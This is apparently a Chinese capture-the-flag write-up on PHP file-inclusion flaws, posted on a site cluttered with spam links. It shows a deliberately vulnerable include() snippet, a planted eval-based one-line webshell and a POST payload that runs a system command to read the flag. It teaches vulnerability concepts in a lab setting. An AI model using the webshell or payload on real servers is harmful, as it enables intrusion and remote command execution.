当前位置: 首页 > wzjs >正文

个人网站可以做音乐吗全国疫情最新报告

个人网站可以做音乐吗,全国疫情最新报告,wordpress login url,湖南人文科技学院怎么样源码分析 讲解源码前, 先讲一下 PHP 文件包含漏洞 漏洞原理 文件包含用于 包含内容和函数 用于减少重复代码 示例 <?php$file $_GET[file];include($file); ?>因为对动态包含的文件没有进行校验等操作, 可能会造成注入之类的问题 http://www.xxx.com/main.php?…

源码分析

讲解源码前, 先讲一下 PHP 文件包含漏洞

漏洞原理

  • 文件包含用于

    • 包含内容和函数

    • 用于减少重复代码

  • 示例

    • <?php$file = $_GET['file'];include($file);
      ?>
      
    • 因为对动态包含的文件没有进行校验等操作, 可能会造成注入之类的问题

    • http://www.xxx.com/main.php?file=x.php
      
  • 文件包含漏洞分类

    • 本地文件包含漏洞-LIF

      • 包含的文件在服务器本地
    • 远程文件包含漏洞-RLF

      • 包含的文件在第三方服务

      • 需要php.ini中的 allow_url_fopenallow_url_include 为ON

      • http://www.xxx.com/main.php?file=http://www.yyy.com/file.php
        
  • PHP常见的文件包含的函数

    • include

      • 当使用该函数包含文件时, 只有代码执行到include()函数时才将文件包含进来, 发生错误时之给出一个警告, 继续向下执行
    • include_once

      • 功能与Include()相同, 区别在于当重复调用同一文件时,程序只调用一次
    • require

      • require()与include()的区别在于require( )执行如果发生错误, 函数会输出错误信
    • require_once

      • 功能与require()相同, 区别在于当重复调用同一文件时, 程序只调用一次

  • 通过上文大致知道 PHP 文件包含的分类(本地文件包含 与 远程文件包含)

    • 由于本题开启了如下配置

      • allow_url_fopen=On 规定是否允许从远程服务器或者网站检索数据(默认为On)
        allow_url_include=On 规定是否允许include/require远程文件(php5.2之后默认为Off)
        
    • 所以可以使用远程文件包含的

  • 接着开始分析源码

    • <?php isset($_GET['wrappers']) ? include($_GET['wrappers']) : '';highlight_file(__FILE__);
      ?>
      
    • 源码其实很短, 除了显示代码的语句 highlight_file(__FILE__);

    • 就是 isset($_GET['wrappers']) ? include($_GET['wrappers']) : '';

      • 即检测是否 GET 传入 wrappers 参数

        • 如果有的话就是用 include() 函数包含这个参数文件

        • 即使参数中的文件也在该文件执行

解题分析

  • 通过这个语句 isset($_GET['wrappers']) ? include($_GET['wrappers']) : ''; 就可以进行文件包含了

  • 本题因为配置 allow_url_include=On, allow_url_fopen=On 所以可以包含远程文件

    • 比如包含服务器上的一句话木马

    • 但是这里探姬已经在当前目录在放了一个 backdoor.txt 的后门

      • 即一句话木马
    • 所以这里就不使用服务器上的马了

    • 不过也可以通过包含百度演示一下

      • http://靶机地址/?wrappers=http://www.baidu.com
        
      • 在这里插入图片描述

      • 这里放大一下, 方便把题目和百度的页面一起截进去

  • 除此之外, 探姬还留了一个 phpinfo.txt 文件

    • 里面的内容是 <?php phpinfo(); ?>

    • 我们可以通过包含这个文件, 参看当前PHP的信息

    • 这里就可以看到 allow_url_include, allow_url_fopen 是开启状态

    • 在这里插入图片描述

解题步骤

  • 上文通过 百度 演示了远程文件包含

  • 接下来就通过本地文件包含来获取flag

    • 直接使用探姬留下的后文文件 backdoor.txt

    • http:/靶机地址/?wrappers=./backdoor.txt
      
  • 这样就结束了?

    • Flag在哪?

    • 怎么没有出现?

  • 如果你有这样的疑问, 或许你还没理解文件包含的意思

    • 文件包含只是把传入的文件包含在原本的代码中, 并且运行

    • 但是backdoor.txt 有什么呢?

      • 如下

        • <?php @eval($_POST['ctf']); ?>
          
      • 发现又什么了吗? -> @eval($_POST['ctf']);

        • POST 传入的参数会被 eval 当做命令执行

        • eval 只是执行 PHP 命令的

        • 为了执行系统命令, 我们还需要嵌套一层 system() 函数

        • ctf 传入的参数应该是 system("");, 引号中间加入系统命令, 如 ls

  • 也就是在 ?wrappers=./backdoor.txt 传参后, 当前页面的源码执行后, 又执行了 backdoor.txt 的内容

    • <?php isset($_GET['wrappers']) ? include($_GET['wrappers']) : '';highlight_file(__FILE__);
      ?>
      <?php @eval($_POST['ctf']); ?>
      
    • 我们就可以接着一同 POST 请求传入参数 ctf

  • 最后 Payload 报文如下

    • /?wrappers=./backdoor.txt
      ctf=system("cat /flag");
      
    • 在这里插入图片描述

http://www.dtcms.com/wzjs/505834.html

相关文章:

  • 和朋友合伙做网站调价智能关键词软件
  • 男女做那个真实视频网站百度问答平台入口
  • 微网站摇一摇seo怎么做排名
  • 沈阳网站app制作seo搜索
  • 深圳做网站980app广告联盟平台
  • 用c语言可以做网站吗全网营销系统是不是传销
  • 医疗网站建设机构在线培训app
  • 做网站需要办什么手续怎么创建一个网页
  • 石家庄模板建站行业解决方案推广网站都有哪些
  • 做网站订阅号重庆seo整站优化方案范文
  • 温江网站制作seo网站编辑是做什么的
  • 网站源码还可以做授权么网络培训心得体会
  • 学校网站的目的网站设计公司建设网站
  • 嘉峪关建设厅官方网站海口seo快速排名优化
  • 教学类网站怎么做正规seo多少钱
  • 南宁网站建设服务seo工具查询
  • 网站不做icp备案爱站工具包的模块有哪些
  • 萧山网站制作公司如何网络营销自己的产品
  • 帮人做彩票网站有事吗网络营销的策略包括
  • 映射做网站seo排名第一的企业
  • 自助式建网站知识搜索引擎
  • 做本地的分类信息网站如何进行网站推广?网站推广的基本手段有哪些
  • 海淀注册公司杭州seo靠谱
  • 榆中建设局网站seo也成搜索引擎优化
  • 广州建站服务商个人博客网站怎么做
  • 直销网站有没有适合在家做的手工活网站友情链接交易平台
  • 东营做网站哪家好营业推广策划
  • 网站目录创建下载链接免费做网站网站的软件
  • 网站建设合同的注意事项公司网站建设步骤
  • wordpress的官网seo免费